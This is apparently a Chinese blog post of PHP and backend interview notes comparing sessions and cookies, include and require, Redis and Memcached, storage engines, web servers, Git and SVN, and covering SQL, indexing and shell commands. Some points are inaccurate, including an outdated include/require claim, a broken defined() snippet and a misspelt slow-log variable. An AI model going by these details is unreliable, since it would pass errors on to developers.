- Cookie其實還可以用在一些方便使用者的場景下,設想你某次登陸過一個網站,下次登入的時候不想再次輸入賬號了,怎麼辦?這個資訊可以寫到Cookie裡面,訪問網站的時候,網站頁面的指令碼可以讀取這個資訊,就自動幫你把使用者名稱給填了,能夠方便一下使用者。這也是Cookie名稱的由來,給使用者的一點甜頭。
- 總結一下:Session是在服務端儲存的一個資料結構,用來跟蹤使用者的狀態,這個資料可以儲存在叢集、資料庫、檔案中;Cookie是客戶端儲存使用者資訊的一種機制,用來記錄使用者的一些資訊,也是實現Session的一種方式。
GET 與 POST 區別
突然發現網上對這個問題爭論不休,所以這裡直接附上w3c的介紹,如有需要自行google。
include 與 require 區別
•incluce在用到時載入
•require在一開始就載入。
require()語句的效能與include()相類似,都是包括並執行指定檔案。不同之處在於:對include()語句來說,在執行檔案時每次都要進行讀取和評估;而對於require()來說,檔案只處理一次(實際上,檔案內容替換require()語句)。這就意味著如果可能執行多次的程式碼,則使用require()效率比較高。另外一方面,如果每次執行程式碼時是讀取不同的檔案,或者有通過一組檔案迭代的迴圈,就使用include()語句。
require的使用方法如:require("myfile.php"),這個語句通常放在PHP指令碼程式的最前面。PHP程式在執行前,就會先讀入require()語句所引入的檔案,使它變成PHP指令碼檔案的一部分。include使用方法和require一樣如:include("myfile.php"),而這個語句一般是放在流程控制的處理區段中。PHP指令碼檔案在讀到include()語句時,才將它包含的檔案讀取進來。這種方式,可以把程式執行時的流程簡單化。
include_once 與 require_once 區別
_once字尾表示已載入的不載入
include_once()和require_once()語句也是在指令碼執行期間包括執行指定檔案。此行為和include()語句及require()類似,使用方法也一樣。唯一區別是如果該檔案中的程式碼已經被包括了,則不會再次包括。這兩個語句應該用於在指令碼執行期間,同一個檔案有可能被包括超過一次的情況下,確保它只被包括一次,以避免函式重定義以及變數重新賦值等問題。
Memcached 與 Redis 區別
Redis作者的概述:
- Redis支援伺服器端的資料操作:Redis相比Memcached來說,擁有更多的資料結構和並支援更豐富的資料操作,通常在Memcached裡,你需要將資料拿到客戶端來進行類似的修改再set回去。這大大增加了網路IO的次數和資料體積。在Redis中,這些複雜的操作通常和一般的GET/SET一樣高效。所以,如果需要快取能夠支援更復雜的結構和操作,那麼Redis會是不錯的選擇。
- 記憶體使用效率對比:使用簡單的key-value儲存的話,Memcached的記憶體利用率更高,而如果Redis採用hash結構來做key-value儲存,由於其組合式的壓縮,其記憶體利用率會高於Memcached。
- 效能對比:由於Redis只使用單核,而Memcached可以使用多核,所以平均每一個核上Redis在儲存小資料時比Memcached效能更高。而在100k以上的資料中,Memcached效能要高於Redis,雖然Redis最近也在儲存大資料的效能上進行優化,但是比起Memcached,還是稍有遜色。
更多比較:
1 網路IO模型
Memcached是多執行緒,非阻塞IO複用的網路模型,分為監聽主執行緒和worker子執行緒,監聽執行緒監聽網路連線,接受請求後,將連線描述字pipe 傳遞給worker執行緒,進行讀寫IO, 網路層使用libevent封裝的事件庫,多執行緒模型可以發揮多核作用,但是引入了cache coherency和鎖的問題,比如,Memcached最常用的stats 命令,實際Memcached所有操作都要對這個全域性變數加鎖,進行計數等工作,帶來了效能損耗。
Redis使用單執行緒的IO複用模型,自己封裝了一個簡單的AeEvent事件處理框架,主要實現了epoll、kqueue和select,對於單純只有IO操作來說,單執行緒可以將速度優勢發揮到最大,但是Redis也提供了一些簡單的計算功能,比如排序、聚合等,對於這些操作,單執行緒模型實際會嚴重影響整體吞吐量,CPU計算過程中,整個IO排程都是被阻塞住的。
2.記憶體管理方面
Memcached使用預分配的記憶體池的方式,使用slab和大小不同的chunk來管理記憶體,Item根據大小選擇合適的chunk儲存,記憶體池的方式可以省去申請/釋放記憶體的開銷,並且能減小記憶體碎片產生,但這種方式也會帶來一定程度上的空間浪費,並且在記憶體仍然有很大空間時,新的資料也可能會被剔除,原因可以參考Timyang的文章:http://timyang.net/data/Memcached-lru-evictions/
Redis使用現場申請記憶體的方式來儲存資料,並且很少使用free-list等方式來優化記憶體分配,會在一定程度上存在記憶體碎片,Redis跟據儲存命令引數,會把帶過期時間的資料單獨存放在一起,並把它們稱為臨時資料,非臨時資料是永遠不會被剔除的,即便實體記憶體不夠,導致swap也不會剔除任何非臨時資料(但會嘗試剔除部分臨時資料),這點上Redis更適合作為儲存而不是cache。
3.資料一致性問題
Memcached提供了cas命令,可以保證多個併發訪問操作同一份資料的一致性問題。 Redis沒有提供cas 命令,並不能保證這點,不過Redis提供了事務的功能,可以保證一串 命令的原子性,中間不會被任何操作打斷。
4.儲存方式及其它方面
Memcached基本只支援簡單的key-value儲存,不支援列舉,不支援持久化和複製等功能 Redis除key/value之外,還支援list,set,sorted set,hash等眾多資料結構,提供了KEYS 進行列舉操作,但不能線上上使用,如果需要列舉線上資料,Redis提供了工具可以直接掃描其dump檔案,列舉出所有資料,Redis還同時提供了持久化和複製等功能。
5.關於不同語言的客戶端支援
在不同語言的客戶端方面,Memcached和Redis都有豐富的第三方客戶端可供選擇,不過因為Memcached發展的時間更久一些,目前看在客戶端支援方面,Memcached的很多客戶端更加成熟穩定,而Redis由於其協議本身就比Memcached複雜,加上作者不斷增加新的功能等,對應第三方客戶端跟進速度可能會趕不上,有時可能需要自己在第三方客戶端基礎上做些修改才能更好的使用。
根據以上比較不難看出,當我們不希望資料被踢出,或者需要除key/value之外的更多資料型別時,或者需要落地功能時,使用Redis比使用Memcached更合適。
MySQL 各個儲存引擎、及區別(一定會問 MyISAM 與 Innodb 區別)
Mysql常用儲存引擎共有:MyISAM,Innodb,Memory,Archive(還有其他引擎,但不常見)
InnoDB 和 MyISAM之間的區別:
1>.InnoDB支援事務,而MyISAM不支援事務
2>.InnoDB支援行級鎖,而MyISAM支援表級鎖
3>.InnoDB支援MVCC(多版本併發控制), 而MyISAM不支援
4>.InnoDB支援外來鍵,而MyISAM不支援
5>.InnoDB不支援全文索引,而MyISAM支援。(X)
InnoDB :如果要提供提交、回滾、崩潰恢復能力的事務安全(ACID相容)能力,並要求實現併發控制,InnoDB是一個好的選擇
MyISAM:如果資料表主要用來插入和查詢記錄,則MyISAM(但是不支援事務)引擎能提供較高的處理效率
Memory:如果只是臨時存放資料,資料量不大,並且不需要較高的資料安全性,可以選擇將資料儲存在記憶體中的Memory引擎,MySQL中使用該引擎作為臨時表,存放查詢的中間結果。資料的處理速度很快但是安全性不高。
Archive:如果只有INSERT和SELECT操作,可以選擇Archive,Archive支援高併發的插入操作,但是本身不是事務安全的。Archive非常適合儲存歸檔資料,如記錄日誌資訊可以使用Archive。
使用哪一種引擎需要靈活選擇,一個資料庫中多個表可以使用不同引擎以滿足各種效能和實際需求,使用合適的儲存引擎,將會提高整個資料庫的效能
HTTP 與 HTTPS 區別
一句話說,https比http安全且是現在主流。(https的s就是指的security)
HTTPS和HTTP的區別主要如下:
1、https協議需要到ca申請證照,一般免費證照較少,因而需要一定費用。
2、http是超文字傳輸協議,資訊是明文傳輸,https則是具有安全性的ssl加密傳輸協議。
3、http和https使用的是完全不同的連線方式,用的埠也不一樣,前者是80,後者是443。
4、http的連線很簡單,是無狀態的;HTTPS協議是由SSL+HTTP協議構建的可進行加密傳輸、身份認證的網路協議,比http協議安全。
Apache 與 Nginx 區別
簡單概括:
nginx 相對 apache 的優點:
- 輕量級,同樣起web 服務,比apache 佔用更少的記憶體及資源
- 抗併發,nginx 處理請求是非同步非阻塞的,而apache 則是阻塞型的,在高併發下nginx 能保持低資源低消耗高效能
- 高度模組化的設計,編寫模組相對簡單
- 社群活躍,各種高效能模組出品迅速啊
apache 相對nginx 的優點:
- rewrite ,比nginx 的rewrite 強大
- 模組超多,基本想到的都可以找到
- 少bug ,nginx 的bug 相對較多
- 超穩定
再詳細點:
- 作為 Web 伺服器:相比 Apache,Nginx 使用更少的資源,支援更多的併發連線,體現更高的效率,這點使 Nginx 尤其受到虛擬主機提供商的歡迎。在高連線併發的情況下,Nginx是Apache伺服器不錯的替代品: Nginx在美國是做虛擬主機生意的老闆們經常選擇的軟體平臺之一. 能夠支援高達 50000 個併發連線數的響應, 感謝Nginx為我們選擇了 epoll and kqueue 作為開發模型.Nginx作為負載均衡伺服器: Nginx 既可以在內部直接支援 Rails 和 PHP 程式對外進行服務, 也可以支援作為 HTTP代理 伺服器對外進行服務. Nginx採用C進行編寫, 不論是系統資源開銷還是CPU使用效率都比 Perlbal 要好很多.
- Nginx 配置簡潔, Apache 複雜 ,Nginx 啟動特別容易, 並且幾乎可以做到7*24不間斷執行,即使執行數個月也不需要重新啟動. 你還能夠不間斷服務的情況下進行軟體版本的升級 . Nginx 靜態處理效能比 Apache 高 3倍以上 ,Apache 對 PHP 支援比較簡單,Nginx 需要配合其他後端來使用 ,Apache 的元件比 Nginx 多.
- 最核心的區別在於apache是同步多程式模型,一個連線對應一個程式;nginx是非同步的,多個連線(萬級別)可以對應一個程式 .
- nginx的優勢是處理靜態請求,cpu記憶體使用率低,apache適合處理動態請求,所以現在一般前端用nginx作為反向代理抗住壓力,apache作為後端處理動態請求。
define() 與 const 區別
兩者之間最大的區別在於const是在編譯時定義常量,而define()方法是在執行時定義常量。
- const不能用在if語句中, defne()能用在if語句中。
if(...) {
const FOO = 'BAR';//錯誤
}
if(...) {
define('FOO', 'BAR');//正確
}
- define()的一個常用場景是先判斷常量是否已經定義再定義常量:
if(defined('FOO)) {
define('FOO', 'BAR')
}
- const 定義常量時,值只能是靜態標量(數字, 字串, true,false, null), 而define()方法可以把任意表示式的值用作常量的值。從PHP5.6開始const也允許把表示式用作常量的值了。
const BIT_5 = 1 << 5; //PHP5.6後支援,之前的PHP版本不支援
define('BIT_5', 1 << 5);// 所有PHP版本都支援
- const 只允許簡單的常量名,而define()可以把任何表示式的值用作常量名
for ($i = 0; $i < 32; $i++) {
define('BIT_' . $i, 1 << $i);
}
- const 定義的常量常量名是大小寫敏感的,而傳遞true給define()方法的第三個引數時可以定義大小寫不敏感的常量。
define('FOO', 'BAR', true);
echo FOO; //BAR
echo foo; //BAR
上面列舉的都是const相較define()而言的一些缺點或者不靈活的地方,下面我們看一下為什麼我個人推薦用const而不是define()來定義常量(除非要在上述列舉的場景中定義常量)。
- const 具有更好的可讀性,const是語言結構而不是函式,而且與在類中定義類常量的形式保持一致。
- const在當前的名稱空間中定義常量, 而define()要實現類似效果必須在定義時傳遞完整的名稱空間名稱:
namespace A\B\C;//To define the constant A\B\C\FOO:
const FOO = 'BAR';
define('A\B\C\FOO', 'BAR');
- const從PHP5.6版本開始可以把陣列用作常量值,而define()在PHP7.0版本開始才支援把陣列用作常量值。
const FOO = [1, 2, 3];// valid in PHP 5.6
define('FOO', [1, 2, 3]);// invalid in PHP 5.6, valid in PHP 7.0
- 因為const是語言結構並且在編譯時定義常量所以const會比define() 稍稍快一些。
- 眾所周知PHP在用define()定義了大量的常量後會影響效率。 人們設定發明了apc_load_constants()和hidef來繞過define()導致的效率問題。
- 最後,const還能被用於在類和介面中定義常量,define()只能被用於在全域性名稱空間中定義常量:
class FOO{
const BAR = 2;// 正確
}
class Baz{
define('QUX', 2)// 錯誤
}
總結:
除非要在if分支裡定義常量或者是通過表示式的值來命名常量, 其他情況(即使是隻是簡單的為了程式碼的可讀性)都推薦用const替代define()。
traits 與 interfaces 區別 及 traits 解決了什麼痛點?
知乎一個有趣的比喻:
你可以把trait當作是多繼承的一種變種,是一種加強型的介面,比如當你需要定義一個car的class,此時你需要實現vehicle定義的介面,比如必須有引擎,有外殼這些,但你這時會發現每個都自己去實現是不是太複雜了?比如對你而言引擎的實現你並不關心,你只要買一個用就好了,你比較在意汽車的外形,那麼這時候就用到了trait,他替你封裝好了引擎的相關實現,因此你只要關心怎麼使引擎動起來即可,不用自己去實現。當然換一種方法也是能實現的,比如你把engine作為一個類的屬性,然後使用時new一個封裝好的engine類也是可以的,只是用trait更方便。
從方便偷懶的角度來說:
Interface只給了些方法名字,方法還得靠自己全部實現,方便個屁。而trait拿來就可以直接使用了,這才舒服嘛。
一個外國小哥這樣描述trait:
Trait本質上是語言輔助的複製和貼上。即使用trait相當於把它封裝的方法程式碼複製貼上到此處。
traits 解決了什麼痛點:(摘自PHP官方文件)
自 PHP 5.4.0 起,PHP 實現了一種程式碼複用的方法,稱為 trait。
Trait 是為類似 PHP 的單繼承語言而準備的一種程式碼複用機制。Trait 為了減少單繼承語言的限制,使開發人員能夠自由地在不同層次結構內獨立的類中複用 method。Trait 和 Class 組合的語義定義了一種減少複雜性的方式,避免傳統多繼承和 Mixin 類相關典型問題。
Trait 和 Class 相似,但僅僅旨在用細粒度和一致的方式來組合功能。 無法通過 trait 自身來例項化。它為傳統繼承增加了水平特性的組合;也就是說,應用的幾個 Class 之間不需要繼承。
Git 與 SVN 區別
1) 最核心的區別Git是分散式的,而Svn不是分佈的。雖然Git跟Svn一樣有自己的集中式版本庫和Server端,但Git更傾向於分散式開發,因為每一個開發人員的電腦上都有一個Local Repository,所以即使沒有網路也一樣可以Commit,檢視歷史版本記錄,建立專案分支等操作,等網路再次連線上Push到Server端;
2)Git把內容按後設資料方式儲存,而SVN是按檔案;
3) Git沒有一個全域性版本號,而SVN有:這是跟SVN相比Git缺少的最大的一個特徵;
4) Git的內容的完整性要優於SVN:;
5) Git下載下來後,在OffLine狀態下可以看到所有的Log,SVN不可以;
6) 剛開始用時很狗血的一點,SVN必須先Update才能Commit,忘記了合併時就會出現一些錯誤,git還是比較少的出現這種情況;
7) 克隆一份全新的目錄以同樣擁有五個分支來說,SVN是同時復製5個版本的檔案,也就是說重複五次同樣的動作。而Git只是獲取檔案的每個版本的元素,然後只載入主要的分支(master)在我的經驗,克隆一個擁有將近一萬個提交(commit),五個分支,每個分支有大約1500個檔案的 SVN,耗了將近一個小時!而Git只用了區區的1分鐘!
8) 版本庫(repository):SVN只能有一個指定中央版本庫。當這個中央版本庫有問題時,所有工作成員都一起癱瘓直到版本庫維修完畢或者新的版本庫設立完成。而 Git可以有無限個版本庫。
9)分支(Branch):在SVN,分支是一個完整的目錄。且這個目錄擁有完整的實際檔案。如果工作成員想要開啟新的分支,那將會影響“全世界”!每個人都會擁有和你一樣的分支。如果你的分支是用來進行破壞工作(安檢測試),那將會像傳染病一樣,你改一個分支,還得讓其他人重新切分支重新下載,十分狗血。而 Git,每個工作成員可以任意在自己的本地版本庫開啟無限個分支。
最值得一提,我可以在Git的任意一個提交點(commit point)開啟分支!(其中一個方法是使用gitk –all 可觀察整個提交記錄,然後在任意點開啟分支。)
10)提交(Commit)在SVN,當你提交你的完成品時,它將直接記錄到中央版本庫。當你發現你的完成品存在嚴重問題時,你已經無法阻止事情的發生了。如果網路中斷,你根本沒辦法提交!而Git的提交完全屬於本地版本庫的活動。而你只需“推”(git push)到主要版本庫即可。Git的“推”其實是在執行“同步”(Sync)。
最後總結一下:
SVN的特點是簡單,只是需要一個放程式碼的地方時用是OK的。
Git的特點版本控制可以不依賴網路做任何事情,對分支和合並有更好的支援(當然這是開發者最關心的地方),不過想各位能更好使用它,需要花點時間嘗試下。
資料庫篇
MySQL
-
- CRUD
即C(create)增(insert)、D(delete)刪(delete)、U(update)改(update)、R(read)查(select)
- JOIN、LEFT JOIN 、RIGHT JOIN、INNER JOIN
- JOIN / INNER JOIN(內連線,或等值連線):獲取兩個表中欄位匹配關係的記錄。
SELECT Orders.OrderID, Customers.CustomerName, Orders.OrderDate
FROM Orders INNER JOIN Customers
ON Orders.CustomerID=Customers.CustomerID;
Orders 表和Customers 表中都有CustomerID欄位,通過該欄位使用內連線將兩表中匹配的記錄篩選出來並根據指定需要拼接在一起
2. LEFT JOIN(左連線):獲取左表所有記錄,即使右表沒有對應匹配的記錄。
SELECT Customers.CustomerName, Orders.OrderID
FROM Customers
LEFT JOIN Orders ON Customers.CustomerID = Orders.CustomerID
ORDER BY Customers.CustomerName;
結果會返回Customers表中的所有CustomerName,以及相匹配的Orders表的OrderID,若匹配不到的(即Customers.CustomerID =
Orders.CustomerID找不到的),則Orders.OrderID會顯示為null
3. RIGHT JOIN(右連線): 與 LEFT JOIN 相反,用於獲取右表所有記錄,即使左表沒有對應匹配的記錄。
SELECT Orders.OrderID, Employees.LastName, Employees.FirstName
FROM Orders
RIGHT JOIN Employees ON
Orders.EmployeeID = Employees.EmployeeID
ORDER BY Orders.OrderID;
結果是Employees 表的指定列記錄會全部顯示,相匹配的OrderID也會顯示,不匹配的OrderID列會顯示為null
- UNION
UNION運算子用於組合兩個或多個SELECT語句的結果集。要求:
- UNION中的每個SELECT語句必須具有相同的列數
- 列還必須具有類似的資料型別
- 每個SELECT語句中的列也必須具有相同的順序
- UNION運算子預設情況下僅選擇不同的值。要允許重複值,
請使用UNION ALL
- 結果集中的列名通常等於UNION中第一個SELECT語句中的列名。
示例:
SELECT City FROM Customers
UNION
SELECT City FROM Suppliers
ORDER BY City;
查詢結果為Customers表和Suppliers表中的City 列的所有資料。
- GROUP BY + COUNT + WHERE 組合案例
GROUP BY語句通常與聚合函式(COUNT,MAX,MIN,SUM,AVG)一起使用,以將結果集分組為一列或多列
示例:
SELECT COUNT(CustomerID), Country
FROM Customers
WHERE Status=1
GROUP BY Country
ORDER BY COUNT(CustomerID) DESC;
該SQL語句列出了狀態為1的記錄中每個國家/地區的客戶數量,從高到低排序
mysql函式太多,這裡只列舉提述,如有需要可直接開啟連結。
- now()函式返回當前時間(yyyy-mm-dd hh:ii:ss),now()+1(yyyymmddhhiiss)
- md5()函式即對括號內資料做md5加密處理
- concat()函式將兩個或多個表示式一起新增,如
SELECT CONCAT(Address, " ", PostalCode, " ", City) AS Address
FROM Customers; 結果為Address欄位值為Address PostalCode City,需要注意的是concat函式的引數有一個為null則值為null。
- uuid()函式,UUID 是通用唯一識別碼(Universally Unique Identifier)的縮寫,標準的UUID格式為:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx (8-4-4-4-12),包含32個16進位制數字,以連字號分為五段,比如:8e9503d9-beab-11e7-913c-1418775159ef,一般用於唯一主鍵id,使用時一般去掉連字號-,SELECT REPLACE(UUID(),'-','');與自增id區別: UUID是可以生成時間、空間上都獨一無二的值;自增序列只能生成基於表內的唯一值,且需要搭配使其為唯一的主鍵或唯一索引;
- 1:1、1:n、n:n 各自適用場景
回答時最好選擇曾經寫過的例項舉例說明
- 一對一關係示例:
一個學生對應一個學生檔案材料,或者每個人都有唯一的身份證編號。
- 一對多關係示例:
一個學生只屬於一個班,但是一個班級有多名學生。
- 多對多關係示例:
一個學生可以選擇多門課,一門課也有多名學生。
- 瞭解觸發器是什麼,說個使用場景
觸發器是與表有關的資料庫物件,在滿足定義條件時觸發,並執行觸發器中定義的語句集合。
建立觸發器:
CREATE TRIGGER trigger_name
trigger_time
trigger_event ON tbl_name FOR EACH ROW
trigger_stmt
解釋:
trigger_name:標識觸發器名稱,使用者自行指定;
trigger_time:標識觸發時機,取值為 BEFORE 或 AFTER;
trigger_event:標識觸發事件,取值為 INSERT、UPDATE 或 DELETE;
tbl_name:標識建立觸發器的表名,即在哪張表上建立觸發器;
EACH ROW:表示針對該表的每一行記錄,滿足條件時執行觸發器語句;
trigger_stmt:觸發器程式體,可以是一句SQL語句,或者用 BEGIN 和 END 包含的多條語句。
由此可見,可以建立6種觸發器,即:BEFORE INSERT、BEFORE UPDATE、BEFORE DELETE、AFTER INSERT、AFTER UPDATE、AFTER DELETE。
另外有一個限制是不能同時在一個表上建立2個相同型別的觸發器,因此在一個表上最多建立6個觸發器
觸發器儘量少的使用,因為不管如何,它還是很消耗資源,如果使用的話要謹慎的使用,確定它是非常高效的:觸發器是針對每一行的;對增刪改非常頻繁的表上切記不要使用觸發器,因為它會非常消耗資源。
- 資料庫優化手段
- 索引、聯合索引(命中條件)
(1) 主鍵索引 PRIMARY KEY
它是一種特殊的唯一索引,不允許有空值。一般是在建表的時候同時建立主鍵索引。當然也可以用 ALTER 命令。
(2) 唯一索引 UNIQUE
唯一索引列的值必須唯一,但允許有空值。如果是組合索引,則列值的組合必須唯一。可以在建立表的時候指定,也可以修改表結構,如:
ALTER TABLE table_name ADD UNIQUE (column_name)
(3) 普通索引 INDEX
這是最基本的索引,它沒有任何限制。可以在建立表的時候指定,也可以修改表結構,如:
ALTER TABLE table_name ADD INDEX index_name (column_name)
(4) 組合索引 INDEX
組合索引,即一個索引包含多個列。可以在建立表的時候指定,也可以修改表結構,如:
ALTER TABLE table_name ADD INDEX index_name(column1_name, column2_name, column3_name)
(5) 全文索引 FULLTEXT
全文索引(也稱全文檢索)是目前搜尋引擎使用的一種關鍵技術。它能夠利用分詞技術等多種演算法智慧分析出文字文字中關鍵字詞的頻率及重要性,然後按照一定的演算法規則智慧地篩選出我們想要的搜尋結果。
可以在建立表的時候指定,也可以修改表結構,如:
ALTER TABLE table_name ADD FULLTEXT (column_name)
- 分庫分表(水平分表、垂直分表)
垂直分表:
垂直拆分是指資料表列的拆分,把一張列比較多的表拆分為多張表
通常我們按以下原則進行垂直拆分:
- 把不常用的欄位單獨放在一張表;
- 把text,blob等大欄位拆分出來放在附表中;
- 經常組合查詢的列放在一張表中;
垂直拆分更多時候就應該在資料表設計之初就執行的步驟,然後查詢的時候用jion關鍵起來即可;
水平分表:
水平拆分是指資料錶行的拆分,表的行數超過200萬行時,就會變慢,這時可以把一張表的資料拆成多張表來存放。
通常情況下,我們使用取模的方式來進行表的拆分;比如一張有400W的使用者表users,為提高其查詢效率我們把其分成4張表users1,users2,users3,users4,通過用ID取模的方法把資料分散到四張表內
id%4+1 = [1,2,3,4],然後查詢,更新,刪除也是通過取模的方法來查詢
示例虛擬碼:
$_GET['id'] = 17,
17%4 + 1 = 2,
$tableName = 'users'.'2'
Select * from users2 where id = 17;
在insert時還需要一張臨時表uid_temp來提供自增的ID,該表的唯一用處就是提供自增的ID;
insert into uid_temp values(null);
得到自增的ID後,又通過取模法進行分表插入;
注意,進行水平拆分後的表,欄位的列和型別和原表應該是相同的,但是要記得去掉auto_increment自增長
- 分割槽
mysql資料庫中的資料是以檔案的形勢存在磁碟上的,預設放在/mysql/data下面(可以通過my.cnf中的datadir來檢視),一張表主要對應著三個檔案,一個是frm存放表結構的,一個是myd存放表資料的,一個是myi存表索引的。如果一張表的資料量太大的話,那麼myd,myi就會變的很大,查詢資料就會變的很慢,這個時候我們可以利用mysql的分割槽功能,在物理上將這一張表對應的三個檔案,分割成許多個小塊,這樣呢,我們查詢一條資料時,就不用全部查詢了,只要知道這條資料在哪一塊,然後在那一塊找就行了。如果表的資料太大,可能一個磁碟放不下,這個時候,我們可以把資料分配到不同的磁碟裡面去。mysql提供的分割槽屬於橫向分割槽,假如有100W條資料,分成十份,前10W條資料放到第一個分割槽,第二個10W條資料放到第二個分割槽,依此類推。
目前MySQL支援範圍分割槽(RANGE),列表分割槽(LIST),雜湊分割槽(HASH)以及KEY分割槽四種,具體說明
- 會使用 explain 分析 SQL 效能問題,瞭解各引數含義
- 重點理解 type、rows、key
MySQL 提供了一個 EXPLAIN 命令, 它可以對 SELECT 語句進行分析, 並輸出 SELECT 執行的詳細資訊, 以供開發人員針對性優化.
EXPLAIN 命令用法十分簡單, 在 SELECT 語句前加上 Explain 就可以了, 例如:
EXPLAIN SELECT * from user_info WHERE id < 300;
mysql> explain select * from user_info where id = 2\G
*************************** 1. row ***************************
id: 1
select_type: SIMPLE
table: user_info
partitions: NULL
type: const
possible_keys: PRIMARY
key: PRIMARY
key_len: 8
ref: const
rows: 1
filtered: 100.00
Extra: NULL1 row in set, 1 warning (0.00 sec)
各列的含義如下:
id: SELECT 查詢的識別符號. 每個 SELECT 都會自動分配一個唯一的識別符號.
select_type: SELECT 查詢的型別.一般有simple或union
table: 查詢的是哪個表
partitions: 匹配的分割槽
type: join 型別,type顯示的是訪問型別,是較為重要的一個指標,結果值從好到壞依次是:
system > const > eq_ref > ref > fulltext > ref_or_null > index_merge > unique_subquery > index_subquery > range > index > ALL
一般來說,得保證查詢至少達到range級別,最好能達到ref。
possible_keys: 此次查詢中可能選用的索引
key: 此次查詢中確切使用到的索引.顯示MySQL實際決定使用的鍵。如果沒有索引被選擇,鍵是NULL。
ref: 哪個欄位或常數與 key 一起被使用
rows: 顯示此查詢一共掃描了多少行. 這個是一個估計值.這個數表示mysql要遍歷多少資料才能找到,在innodb上是不準確的
filtered: 表示此查詢條件所過濾的資料的百分比
extra: 額外的資訊
- Slow Log(有什麼用,什麼時候需要)
它能記錄下所有執行超過long_query_time時間的SQL語句,幫你找到執行慢的SQL,方便我們對這些SQL進行優化。
預設不開啟,開啟方法:經過測試(這裡用的windows下的xampp),多種嘗試直接修改my.ini配置檔案均無效且會導致mysql無法啟動,後直接sql語句解決:
set global long_query_time = 3600;
set global log_querise_not_using_indexes = ON;
set global slow_query_log = ON;
set global slow_query_log_file = 'mysql_slow_log.log';
指定的mysql_slow_log.log檔案在xampp\mysql\data\下,可用
show global variables like '%slow%'; 語句檢查是否開啟成功
MSSQL(瞭解)
-
- 查詢最新5條資料
select top 5 from table_name order by id(或其他能表示最新的欄位)
注意:select top 語句不適用於mysql!
NOSQL
NoSQL,指的是非關係型的資料庫。NoSQL有時也稱作Not Only SQL的縮寫,是對不同於傳統的關係型資料庫的資料庫管理系統的統稱。
NoSQL用於超大規模資料的儲存。(例如谷歌或Facebook每天為他們的使用者收集萬億位元的資料)。這些型別的資料儲存不需要固定的模式,無需多餘操作就可以橫向擴充套件
NoSQL的優點/缺點:
優點:
- 高可擴充套件性
- 分散式計算
- 低成本
- 架構的靈活性,半結構化資料
- 沒有複雜的關係
缺點:
- 沒有標準化
- 有限的查詢功能(到目前為止)
- 最終一致是不直觀的程式
-
- Redis、Memcached、MongoDB
關於redis、Memcached在前面對比篇裡已經提到過了,這裡不再贅述。
MongoDB 是由C++語言編寫的,是一個基於分散式檔案儲存的開源資料庫系統。在高負載的情況下,新增更多的節點,可以保證伺服器效能。MongoDB 旨在為WEB應用提供可擴充套件的高效能資料儲存解決方案。MongoDB 將資料儲存為一個文件,資料結構由鍵值(key=>value)對組成。MongoDB 文件類似於 JSON 物件。欄位值可以包含其他文件,陣列及文件陣列。
- 對比、適用場景(可從以下維度進行對比)
一篇算是比較全面的三者(redis,memcached,mongodb)的比較:
https://db-engines.com/en/system/Memcached%3BMongoDB%3BRedis
- 持久化
- 支援多鍾資料型別
- 可利用 CPU 多核心
- 記憶體淘汰機制
- 叢集 Cluster
- 支援 SQL
- 效能對比
- 支援事務
- 應用場景
你之前為了解決什麼問題使用的什麼,為什麼選它?
根據開發經驗自由發揮,以下為本人拙見:
快取,redis,資料量小,操作簡單,使用Laravel提供的Redis Facade,大大簡化了程式碼
伺服器篇
檢視 CPU、記憶體、時間、系統版本等資訊
一直在windows做測試,沒有用到過cpu,記憶體等資訊,網上資料不多,沒有找到php的什麼函式能夠直接獲得這些資訊的,但是可以曲線救國,就是用exec()執行控制檯命令,這樣不管windows還是linux都可以執行相應檢視命令了,參考示例:
<?php
// linux
echo exec(‘whoami’) . ‘<br>’;
echo exec(‘git –version’) . ‘<br>’;
echo exec(‘cat /proc/uptime’) . ‘<br>’;
echo exec(‘cat /proc/meminfo’) . ‘<br>’;
echo exec(‘cat /proc/loadavg’) . ‘<br>’;
?>
結果是:
www
git version 1.7.1
221601.89 879803.10
DirectMap2M: 2088960 kB
0.39 0.24 0.21 1/167 5584
這個函式可以輕鬆的實現在伺服器上執行一個命令,非常關鍵,一定要小心使用。
Windows:
怎樣用dos命令(cmd命令中輸入)檢視硬碟、記憶體和CPU資訊?
1、檢視磁碟資訊:wmic freedisk,可以檢視每一個盤的剩餘空間。
wmic diskdrive,可以看出牌子和大小。
Wmic logicaldisk,可以看到有幾個盤,每一個盤的檔案系統和剩餘空間。
wmic volume,每個盤的剩餘空間量,其實上一個命令也可以檢視的。
fsutil volume diskfree c: 這個命令檢視每一個卷的容量資訊是很方便的。
2、檢視CPU資訊:
wmic cpu上面顯示的有位寬,最大始終頻率,生產廠商,二級快取等資訊。
3、檢視記憶體資訊:
wmic memorychip可以顯示出記憶體條數、容量和速度。
4、檢視BIOS資訊:
wmic bios主機板型號、BIOS 版本。
Windows下直接echo無內容輸出,需給exec第二個引數(陣列)用於儲存內容
http://php.net/manual/en/function.exec.php
兩系統得到的資訊格式均不友好且不好處理。
時間一般time(),系統版本相關一般phpinfo可以解決?
抱歉看錯了,這一篇既然是伺服器篇,應該跟php無關的,以上命令可以移除php直接執行,補充檢視時間、系統版本cmd命令:
Linux時間:date windows時間:date, time
linux系統版本:lsb_release -a windows系統版本:systeminfo
find 、grep 查詢檔案
知乎原文:https://www.jianshu.com/p/3833a50f4985
從檔案內容查詢匹配指定字串的行:
grep “被查詢的字串” 檔名
在當前目錄裡第一級資料夾中尋找包含指定字串的.in檔案
grep “thermcontact” /.in
從檔案內容查詢與正規表示式匹配的行:
grep –e “正規表示式” 檔名
查詢時不區分大小寫:
grep –i “被查詢的字串” 檔名
查詢匹配的行數:
grep -c “被查詢的字串” 檔名
從檔案內容查詢不匹配指定字串的行:
grep –v “被查詢的字串” 檔名
從根目錄開始查詢所有副檔名為.log的文字檔案,並找出包含”ERROR”的行
find / -type f -name “*.log” | xargs grep “ERROR”
從當前目錄開始查詢所有副檔名為.in的文字檔案,並找出包含”test”的行
find . -name “*.in” | xargs grep “test”
從當前目錄開始查詢所有zui/css的檔案,顯示出檔名及匹配到的資訊。
grep zui\/css * -r
在當前目錄搜尋帶’energywise’行的檔案
grep 'test' *
在當前目錄及其子目錄下搜尋’test’行的檔案
grep -r 'test' *
在當前目錄及其子目錄下搜尋’test’行的檔案,但是不顯示匹配的行,只顯示匹配的檔案
grep -l -r 'energywise' *
awk 處理文字
簡單介紹:
原文:http://blog.wuxu92.com/using-awk/
